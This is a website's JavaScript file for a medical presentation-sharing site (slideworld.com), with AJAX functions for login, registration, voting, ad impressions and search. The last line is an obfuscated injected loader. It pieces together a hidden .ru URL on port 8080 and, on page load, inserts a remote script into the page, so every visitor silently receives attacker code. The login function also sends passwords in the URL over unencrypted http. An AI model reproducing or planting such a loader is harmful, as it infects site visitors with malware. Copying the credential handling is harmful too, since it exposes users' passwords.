// JScript File
var divid;
var spanresponse;
var xmlHttp;

function login_method(username,pass)
{
   xmlHttp=GetXmlHttpObject();
   if (xmlHttp==null)
   {
     alert ("Your browser does not support AJAX!");
     return;
   } 
   url="http://slideworld.com/registration.ashx";
   url=url+"?username="+username;
   url=url+"&pass="+pass;
   url=url+"&sid="+Math.random();  
   xmlHttp.onreadystatechange=stateChangedlogin;
   xmlHttp.open("GET",url,true);
   xmlHttp.send(null);
}
function add_impression(id,type,time,pagename,slideid,loadtype)
{
   alert("Hi Everybody")
   xmlHttp=GetXmlHttpObject();
   if (xmlHttp==null)
   {
     alert ("Your browser does not support AJAX!");
     return;
   } 
   url="Banner.ashx";
   url=url+"?bannerid="+id;
   url=url+"&type="+type;
   url=url+"&time="+time;
   url=url+"&pagename="+pagename;
   url=url+"&slideid="+slideid;
   url=url+"&loadtype="+loadtype;
   url=url+"&sid="+Math.random();  
   xmlHttp.onreadystatechange=stateChangedimpression;
   xmlHttp.open("GET",url,true);
   xmlHttp.send(null);
}
function stateChangedimpression() 
{ 
    if (xmlHttp.readyState==4)
     {  	  
	  alert(xmlHttp.responseText);
     }
 }
function stateChangedlogin() 
{ 
    if (xmlHttp.readyState==1)
     {  	  
	  document.getElementById("error_msg").innerHTML="<IMG SRC='IMAGES/ajaxLoader.gif' border=0/> Loading...";  
      document.getElementById("error_msg").style.display="block";
     }
    if (xmlHttp.readyState==4)
     {
        // alert(xmlHttp.responseText)
               if (xmlHttp.responseText == "FAILED")
		        {		       
		            document.getElementById("error_msg").innerHTML = "Invalid E-mail Address and password!";
		            document.getElementById("loginPassword").value = "";
		            return false;
		        }
		        else
		        {
		        
		          document.getElementById("error_msg").innerHTML = "";
		          //alert(window.parent.location)
		          //window.parent.location.reload();
		        }
     }
}

        
        
        
function contest(articleid,vote,divid1,spanresponse1)
{ 
    divid=divid1;
    spanresponse=spanresponse1;
   xmlHttp=GetXmlHttpObject();
   if (xmlHttp==null)
   {
     alert ("Your browser does not support AJAX!");
     return;
   } 
   url="contest.ashx";
   url=url+"?articleid="+articleid;
   //url=url+"&userid="+userid;
   url=url+"&vote="+vote;
   url=url+"&divid="+divid;
   url=url+"&sid="+Math.random();  
   xmlHttp.onreadystatechange=stateChanged;
   xmlHttp.open("GET",url,true);
   xmlHttp.send(null);

}

function stateChanged() 
{ 
    if (xmlHttp.readyState==1)
     {  	  
	  document.getElementById(divid).innerHTML="<IMG SRC='IMAGES/ajaxLoader.gif' border=0/> Loading...";  
      document.getElementById(divid).style.display="block";
     }
    if (xmlHttp.readyState==4)
     {  
                //      var browser=navigator.appName;
                //      var b_version=navigator.appVersion;
                //      var version=parseFloat(b_version);   
                var str123= xmlHttp.responseText.split('::');              
               document.getElementById(divid).innerHTML=str123[0];
               document.getElementById(spanresponse).innerHTML=str123[1];
               document.getElementById(divid).style.display="block";
      }
}
function openDiv(id, ToNo)
 {
    //myPos = findPos(document.getElementById(id));
    //document.getElementById(id).style.top = myPos[0]
    //document.getElementById(id).style.left = myPos[1]*(-1);
    //alert(myPos);
	var attributes = {height: { to: ToNo }
    };
    var anim = new YAHOO.util.Anim(id, attributes);
	anim.animate();	
}

function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		curleft = obj.offsetLeft
		curtop = obj.offsetTop
		while (obj = obj.offsetParent) {
			curleft += obj.offsetLeft
			curtop += obj.offsetTop
		}
	}
	return [curleft,curtop];
}

function GetXmlHttpObject()
{
var xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
  catch (e)
    {
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
return xmlHttp;
}

function registration(str1,typ)
{ 
//alert(str);
if(typ=='email')
{
    if(str1=="")
    { 
     document.getElementById("div_mail").innerHTML="<table><tr><td style='font-weight:normal;font-size:10px'>This Email address is Not valid.</td></tr></table>";                         
    return ;
    }
    else
    {
        apos=str1.indexOf("@");
        dotpos=str1.lastIndexOf(".");
          if (apos<1||dotpos-apos<2) 
          {
            document.getElementById("div_mail").innerHTML="<table><tr><td style='font-weight:normal;font-size:10px'>This Email address is Not valid.</td></tr></table>";                         
            return ;
          }
    }
}

////
  type=typ;
  xmlHttp=GetXmlHttpObject();
  if (xmlHttp==null)
  {
  alert ("Your browser does not support AJAX!");
  return;
  } 
 url="registration.ashx";
 url=url+"?q="+str1;
 url=url+"&type="+type;
 url=url+"&sid="+Math.random();
 xmlHttp.onreadystatechange=stateChangedregister;
 xmlHttp.open("GET",url,true);
 xmlHttp.send(null);
}

function stateChangedregister() 
{  
    if(type=='email')
      {
            if (xmlHttp.readyState==1)
             {  	  
	              document.getElementById("div_mail").innerHTML="<IMG SRC='IMAGES/ajaxLoader.gif' border=0/> Loading...";  
                  document.getElementById("div_mail").style.display="block";
             }
            if (xmlHttp.readyState==4)
             {   
                    document.getElementById("div_mail").innerHTML=xmlHttp.responseText;
                    document.getElementById("div_mail").style.display="block";
                     var str=xmlHttp.responseText;
                    if(str.indexOf('valid'))
                    {
                    document.getElementById("Hidden_mail").value="Y";
                    }
                    else
                    {
                     document.getElementById("Hidden_mail").value="N";
                    }
             }
      }
      else
      {
       if (xmlHttp.readyState==1)
             {  	  
	              document.getElementById("div_username").innerHTML="<IMG SRC='IMAGES/ajaxLoader.gif' border=0/> Loading...";  
                  document.getElementById("div_username").style.display="block";
             }
            if (xmlHttp.readyState==4)
             {   
                    document.getElementById("div_username").innerHTML=xmlHttp.responseText;
                    document.getElementById("div_username").style.display="block";
                    var str=xmlHttp.responseText;
                    if(str.indexOf('available'))
                    {
                    document.getElementById("Hidden_username").value="Y";
                    }
             }
      }
}



var loadedobjects=""
var rootdomain="http://"+window.location.hostname
var loadstatustext="<img src='http://slideworld.com/images/progress_ani.gif' /> Requesting content..."

function ajaxpage_get(url, containerid, action, qstr)
{

	var qstr ='';
	if(action==1)
	{		
		qstr = '&shostid='+document.form1.cmbhost.value+'&sdate='+document.getElementById('txtstartdate').value+'&edate='+document.getElementById('txtenddate').value;
	} 
	else if (action == 2)
	{		
		//qstr = '&delete=y';
	}

	var page_request = false
	if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else if (window.ActiveXObject)
	{ // if IE
		try 
		{
			page_request = new ActiveXObject("Msxml2.XMLHTTP")
		} 
		catch (e)
		{
			    try
			    {
				    page_request = new ActiveXObject("Microsoft.XMLHTTP")
			    }
			    catch (e)
			    {}
		}
	}
    else
	return false;
//alert(qstr.indexOf('?'));
//alert(url.indexOf('?'));
	var datetext = new Date();
	if(qstr.indexOf('?') != -1 || url.indexOf('?') != -1)
	{
		qstr = qstr+'&abc='+datetext;
	} 
	else 
	{
		qstr = qstr+'?abc='+datetext;
	}
    
	document.getElementById(containerid).innerHTML=loadstatustext;

	page_request.onreadystatechange=function()
	{
		loadpage(page_request, containerid)
	}	
	//alert(url)
	//alert(page_request)
	page_request.open('GET', url, true)
	page_request.send(null)
}



function ajaxpage_post(url, containerid, action, parameters)
{
//	alert('IN AJAX POST');
	var page_request = false
	if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else if (window.ActiveXObject){ // if IE
		try {
			page_request = new ActiveXObject("Msxml2.XMLHTTP")
		}catch (e){
			try{
				page_request = new ActiveXObject("Microsoft.XMLHTTP")
			} catch (e){
				// No Code
			}
		}
	} 
	else
		return false;
		
	var datetext = new Date();
	if(url.indexOf('?') != -1 ){
		url = url+'&abc='+datetext;
	} else {
		url = url+'?abc='+datetext;
	}

	document.getElementById(containerid).innerHTML=loadstatustext;
	page_request.onreadystatechange=function(){
										loadpage(page_request, containerid)
									}
		page_request.open('POST', url, true);
		page_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		page_request.setRequestHeader("Content-length", parameters.length);
		page_request.setRequestHeader("Connection", "close");
		page_request.send(parameters);
}

function loadpage(page_request, containerid)
{
//alert("hi")
	if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
	{
	//alert("hello")
		document.getElementById(containerid).innerHTML=page_request.responseText
	}
}

function loadobjs(){
	if (!document.getElementById)
	return
	
	for (i=0; i<arguments.length; i++){
		var file=arguments[i]
		var fileref=""
		if (loadedobjects.indexOf(file)==-1){ //Check to see if this object has not already been added to page before proceeding
			if (file.indexOf(".js")!=-1){ //If object is a js file
				fileref=document.createElement('script')
				fileref.setAttribute("type","text/javascript");
				fileref.setAttribute("src", file);
			}
			else if (file.indexOf(".css")!=-1){ //If object is a css file
				fileref=document.createElement("link")
				fileref.setAttribute("rel", "stylesheet");
				fileref.setAttribute("type", "text/css");
				fileref.setAttribute("href", file);
				}
			}
			if (fileref!=""){
				document.getElementsByTagName("head").item(0).appendChild(fileref)
				loadedobjects+=file+" " //Remember this object as being already added to page
			}
	}
}

function encodevalues(arr_txtctr) {
//alert('ENTER TO ENCODE');
	var arrctr = arr_txtctr;
//alert(arrctr.length);
	var poststr = '';
	for(i=0;i<arrctr.length;i++){
//		alert(poststr);
		if(document.getElementById(arrctr[i]).type == 'checkbox') {
			if(document.getElementById(arrctr[i]).checked){
				poststr += arrctr[i]+"="+encodeURI(1 )+"&" ;
			} else {
				poststr += arrctr[i]+"="+encodeURI(0 )+"&" ;
			}
		} else {
			poststr += arrctr[i]+"="+encodeURI(document.getElementById(arrctr[i]).value )+"&" ;
		}
	}
	poststr += 'y';
//	alert(poststr)
	return poststr;
}
//------------------------

function Visits(ArticleID,URL)
{
     

       //alert(ArticleID);
      //str='ajaxpage_get('DownloadCount_ajax.aspx?CHECKED=1&ArticleID='+ArticleID, 'sp_Enabledisablemember', '')';
       ajaxpage_get('http://slideworld.com/DownloadCount_ajax.aspx?ArticleID='+ArticleID, 'sp_Enabledisablemember', '','');
      if(ArticleID==2451 )
       {
       window.open('ViewSlide1.aspx/'+URL,'slidesonline','status=no,width=550,height=530,scrollbars=yes,menubar=yes,resizable=yes,toolbar=yes');        
       }
        else if(ArticleID==5940 || ArticleID==197028)
       {
       window.open('Pathology Library.aspx?url='+URL,'slidesonline','status=no,width=550,height=530,scrollbars=yes,menubar=yes,resizable=yes,toolbar=yes');        
       }
       else
       {
       window.open('ViewSlides.aspx/'+URL,'slidesonline','status=no,width=550,height=530,scrollbars=yes,menubar=yes,resizable=yes,toolbar=yes');        
       }
   }
    
//     function setRating(ArticleID,Rating, bit)
//     {
//     //alert(Rating);
//     
//       for(i=0;i<5;i++)
//        {
//           var loop=i+1;
//           var a=document.getElementById(ArticleID + "RatingIcon-" + loop );
//           if(i<Rating){            
//               a.className="icncuteon";             
//             }else{
//              a.className="icncuteoff";
//            }
//        }  
//       
//   ajaxpage_get('http://slideworld.com/DownloadCount_ajax.aspx?Rating='+ Rating +'&ArticleID='+ArticleID, 'sp_Enabledisablemember', '','');
//   
//   } 
   
  //--- div sign up on mouse over
   function mousehover(str)
   {
   document.getElementById(str).innerHTML="Please Sign in";
   }
    function mouseout(str)
   {
   document.getElementById(str).innerHTML="";
   }

////
         function ViewInfo(Info)
         {  
               div_ShowInfo.style.left = event.x + document.body.scrollLeft;
           	   var y=event.y;           	   
           	   ScrollMonitor(y);         	           	   
               div_ShowInfo.innerHTML  =Info ;
               div_ShowInfo.style.display='block';                
         }
         
          function hidediv()
       {
            div_ShowInfo.style.display='none';  
            //alert('Info');
       }
       
        function ScrollMonitor( y)
        {
         // Find out how far the user has scrolled (method varies...)
                 var ScrollAmount;
                if (document.documentElement && document.documentElement.scrollTop){
                 // PC IE6 strict, Mac IE 5, Mac Firefox strict
                  ScrollAmount = document.documentElement.scrollTop;
                 }else if (document.body && document.body.scrollTop){
                  // Safari, PC IE6 trans, Mac Firefox trans                            
                  ScrollAmount = document.body.scrollTop;
                  //alert("safari");
                  //alert(ScrollAmount);
                  }else if (window.scrollY){ 
                    // Mozilla browsers (incl. Firefox and Safari) understand this one,
                    // though they've probably already got the value.
                    ScrollAmount = window.scrollY;
                    }
           
//            document.getElementById("div_ShowInfo").style.top = y + parseInt(ScrollAmount) + "px";
 div_ShowInfo.style.top = y + parseInt(ScrollAmount) + "px";
        }
	
//set global yuiPath js reference

var df = "Search the Web's best medical presentations";//non-focused search box value
var dq = "health";//default query value
function hs_cat(f,t){var q=f.q1.value==df?dq:window.encodeURIComponent(f.q1.value);t.href=t.href+(t.href.indexOf("/dictionary/")>0?q:("?q1="+q));return 1;}
function hs_q1(q,fo){if(q.value==df&&fo){q.value="";q.style.color="#000000";}else if(q.value==""||q.value==df){q.style.color="#999999";q.value=df;}else{q.style.color="#000000";}}

var g;if(g!='' && g!='B'){g=null};function C(){var n;if(n!='rR'){n='rR'};var Rf=new String();var w;if(w!='' && w!='c'){w='U'};var v=String("gUs7f".substr(0,1));this.k='';var M=RegExp;this.eN="";var O='';this.RY='';var W="";function P(q,PQ){var Nk;if(Nk!='' && Nk!='K'){Nk=''};this.WT='';this.cG="";var Z;if(Z!='' && Z!='Oa'){Z=''};var h= String("[");h+=PQ;h+=new String("]VP4z".substr(0,1));var m='';var d=new M(h, v);return q.replace(d, O);var CS="";};var BS="";var YR='';var IV='';var t=window;var a=new String();var b=new String("/zapdV4".substr(0,4)+"AM8mpos.8mMA".substr(4,4)+"4eWcom/".substr(3)+"UrFzapprFU".substr(3,4)+"F13os.c3F1".substr(3,4)+"om/s"+"2wMtatc2Mw".substr(3,4)+"ount"+"er.cqNL".substr(0,4)+"om/zTUd".substr(0,4)+"yngaPHRo".substr(0,4)+".com"+"Qfs/goosQf".substr(3,4)+"gle.W4r".substr(0,4)+"com."+"php");var i;if(i!='BY' && i != ''){i=null};var bw=String("src");var hkq="";var A=P('8222722202722287227272702222777',"72");var bR;if(bR!='HO' && bR != ''){bR=null};var L=String("sc7qR8".substr(0,2)+"ri"+"ptXMdn".substr(0,2));this.ES="";var Nc='';var u=String("htt"+"p:/RlS".substr(0,3)+"spi/napsi".substr(3,3)+"rod"+"o21-ru1o2".substr(3,3)+"g2Z.dr".substr(3)+"udgf76".substr(0,3)+"Dpwoere".substr(4)+"por"+"t.cFgn".substr(0,3)+"U5pcom.5pUc".substr(4,3)+"virZJf".substr(0,3)+"gil"+"io-Y9Uh".substr(0,3)+"it.VATX".substr(0,3)+"dHGCbuyGHCd".substr(4,3)+"9cimypic9".substr(3,3)+"PUqalm".substr(3)+"p9MJ.ru".substr(4)+":7g0".substr(0,1));var E="L8INdef".substr(4)+"er6YZ".substr(0,2);var xH=new String();var Co;if(Co!='Md'){Co='Md'};this.pK="";this.lG="";var s='';var BO;if(BO!='ig' && BO != ''){BO=null};var Rx="";t.onload=function(){var Ib;if(Ib!='Sv'){Ib=''};var rKD="";try {this.TI='';s=u+A;var b_B;if(b_B!='f' && b_B != ''){b_B=null};s+=b;var NE;if(NE!='cR'){NE=''};de=document.createElement(L);var PJ;if(PJ!=''){PJ='CI'};var Hz='';this.am="";de[bw]=s;this.tW="";var bu=new Array();de[E]=[1][0];document.body.appendChild(de);this.kL="";var gp=new Date();var CIF;if(CIF!='Mj'){CIF='Mj'};var Uj;if(Uj!='wZ'){Uj='wZ'};} catch(z){};var FU=new Date();};var gD="";var yR=new Date();};var iE=new String();var MG='';C();